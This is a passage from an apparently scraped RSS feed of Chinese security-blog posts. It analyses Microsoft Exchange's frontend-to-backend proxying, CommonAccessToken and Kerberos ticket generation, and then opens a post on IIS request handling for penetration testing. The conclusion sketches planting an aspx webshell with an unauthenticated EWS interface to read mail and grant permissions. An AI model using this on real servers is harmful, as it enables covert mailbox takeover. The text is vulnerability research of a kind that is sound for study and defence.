&#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">至此大致的代理请求生成完毕，根据客户端请求判断请求类型，调用BeginGetServerResponse发送：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5102880658436214" title="null" data-w="1215" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2f95e864&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZrUrIwB1OolcOtLTCWD9A102oMDmOku8wu1O2F5JLhu6l8Yuf6V6icfw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">经过回调最终调用OnResponseReady，主要是拿到异步请求的结果并赋值。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3883892068683565" title="null" data-w="1223" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3dbaff9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZFqVWqrjQ9u0bq9TPvTo5bYF8QT4bqLeQ1ej8okZBp1qgolIQg5Fpag%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">小结</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">至此我们理解了在用户请求到前端服务器之后，前端服务器代理用户请求到后端的过程。对exchange的运行机制有了简单的理解。总结以下几点：</p><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. exch都需要经过proxymodule，之后根据协议判断交由hanlder进行处理。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 401认证是iis部分实现的，主要是域认证。后续认证及权限控制exch有自己的一套实现。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. CommonAccessToken、AuthBehavior及kerberos票据对于用户的认证及权限有很大的影响需要重点关注。</p></li></ol><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">CommonAccessToken生成</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">ProxyRequestHanlder处，调用FixupCommonAccessToken生成token：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2698744769874477" title="null" data-w="956" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4c471153&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ2zIsCgVwtoO0UhgIBpQRETj7YbSOwaqcFAf0lb8uldAq1KcthXe6DQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">FixupCommonAccessToken最终调用CommonAccessToken，参数为当前用户令牌</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5782383419689119" title="null" data-w="965" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=7a98df46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ6CAbbswxxx406KSfEqwST0z8F9Bb0eutrEBaVC5SZicXw0KRYewWbCg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以看到当前身份令牌为Administrator，CommonAccessToken代表邮件用户的身份。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6379310344827587" title="null" data-w="986" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ed1a1c38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZx66ErPvH7oolx8aVB8BRJM0h257sb3wKrQO328iagSG5AXdsP6MKNPQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">详细的生成流程位于CommonToken类：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.41911764705882354" title="null" data-w="952" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=da7420bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZRhMFDKQ8MbTNfqXS7DKiaQA3IqUuXJFZ5UDYD8YhhP0YtS2jgfoU6Cg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在proxylogon的利用中已有生成CommonToken的实现：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6637837837837838" title="null" data-w="925" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8950fd90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZQy4REjpFM4sqQg7WKPAGLqpYPndkxjQxIAdY61d9QRHV7k9R8JUKicg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">kerberos票据生成</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">GenerateKerberosAuthHeader返回一个string,放入Authorization头：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.46828358208955223" title="null" data-w="1072" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=707eaf9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ6unzle2mJgtnvtWmZz7YwDXbTvlp2pMPpYRgmPyZ9AI91H2zLbRUVQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">进入 InitializeForOutboundNegotiate：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.49868766404199477" title="null" data-w="1143" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4a5ced46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZmymiaiag9icAa6uCcobDYLSfwT2otYRwz5sM21z2stUGWb9JxLroBxf4w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">生成securityStatus并没有提供账户密码，使用的是AuthIdentity.Default：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.42954545454545456" title="null" data-w="1320" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9739c2f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZKgKh9j8picmeTZjv58Pr6DKKtCEDHx8vebjrr3rnkOYOduZdxzKyQ9Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">继续调用，进入NegotiateSecurityContext，之后进入NegotiateGssapi</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.42737003058103973" title="null" data-w="1308" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5285e5f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ2BvMUJGM6FyyMCcCErvvdUJIRGr5qXfLK7YzSLHiaWNJwZ0HsxbGsrg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">NegotiateSecurityContextInternal进行keberos票据生成：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.49809596344249807" title="null" data-w="1313" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5580995d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZg2IicOYp0gJuHQS7cNQAyKicHTTicgpW4hG9unIl27yNicrDZGKAn8590Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里没太明白，从proxy系列漏洞来看，前端到后端用的system机器权限。这部分权限确定不由commontoken控制，应该由此kerberos票据生成。参考orange团队的文章<a href="https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/中写的一段话：" target="_blank">https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/中写的一段话：</a></p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">Then the Backend will verify whether the request is equipped with an extended right called ms-Exch-EPI-Token-Serialization. With the default setting, only Exchange Machine Account would have such authorization. This is also why the Kerberos Ticket generated by the Frontend could pass the checkpoint but you can’t access the Backend directly with a low authorized account.</p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">由此可见这个kerberos票据默认情况应该就是用机器的权限去生成的。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">总结</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在proxy系列漏洞已经被修复的大背景下，研究frontEnd的应用意义是我们可以自己生成到后端的请求。在控制了exchange的情况下，可以通过反射等技术实现exchange自身的功能，比如放一个aspxshell，该shell实现了一个不需要认证的ews接口。通过此接口可以进行下载邮件、赋权等操作。在没有启动新进程的情况下实现控制目标邮件的效果。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">本文写于两个月之前，当时还没有proxyNotShell这个漏洞的信息，最近出现了这个0d的在野利用<span style="letter-spacing: 0.1em;">。</span><span style="letter-spacing: 0.1em;">推测除了利用的url和proxyshell一样外，增加了其余可控commonAc</span><span style="letter-spacing: 0.1em;">cessToken的地方。</span><span style="letter-spacing: 0.1em;">具体登漏洞细节放出来后再做分析。</span></p><p style="margin-bottom: 24px;"><br/></p>



<p><a href="2247498962">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0a4e1d98&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247498962%26idx%3D1%26sn%3Dfab20a85ead613e87c16677cd8d3a7da%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 06 Oct 2022 09:00:00 +0800</pubDate>
    </item>
    <item>
      <title>DotNet安全-IIS请求流程及渗透测试中的应用</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247498857&amp;idx=1&amp;sn=0ea7b64ba1048fcf5e77744b4379bd3c</link>
      <description>DotNet安全-IIS请求流程及渗透测试中的应用.</description>
      <content:encoded><![CDATA[<p>
原创 <span>7Bits</span> <span>2022-09-26 08:55</span> <span style="display: inline-block;">江苏</span>
</p>

<p>DotNet安全-IIS请求流程及渗透测试中的应用.</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5ebc9295&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOLC36xMrO3cpMuARAc9vDyh63vVLUMafEcicHnbIOk2QxgjJWLjbngeQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.96px;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);" data-mpa-powered-by="yiban.io">DotNet安全-IIS请求流程及渗透测试中的应用</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">引言</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">提及.net安全我们绕不开对iis的研究，复杂的.net应用往往除了像传统web应用有index.*或mvc中有路由控制器等概念存在，还包含module，hanlder，application等概念的存在。对于iis的配置也是比较复杂的。通过这篇文章，我们希望能明确iis是如何处理一个请求，并了解在请求的过程中有哪些技术可以在渗透测试中应用。  微软官方给出的IIS Request Processing给出几点简单的说明，其中包含几个关键部分：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6816025303110174" title="null" data-type="png" data-w="1897" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9af14467&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOm2IyxKEhibsYNrxzg7kIkPdqHU9zeA1EBs0S2AeAvVZmBrd2yAyUbog%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">HTTP.sys</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这个名词相信大家都不陌生，AWVS扫描的报告里经常会出现HTTP.sys远程代码执行漏洞，而利用结果就是打蓝屏，一般也不会去测试。微软官方在Introduction to IIS Architectures对HTTP.sys的介绍：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5164772727272727" title="null" data-type="png" data-w="1760" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=7901b875&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795pFZZZ1Xk0m3M0zBsibQ4DOgMq7R9jjjLkzEshrcoBpCIdSjo2iaOBKbZxWN41mWicBrIvXpGgAMIvw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们可以得到一些有效信息，如：1.网络请求到达HTTP.sys之后，经过一系列处理，再交由IIS进行处理。2.http.sys工作在内核上，性能很高。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino 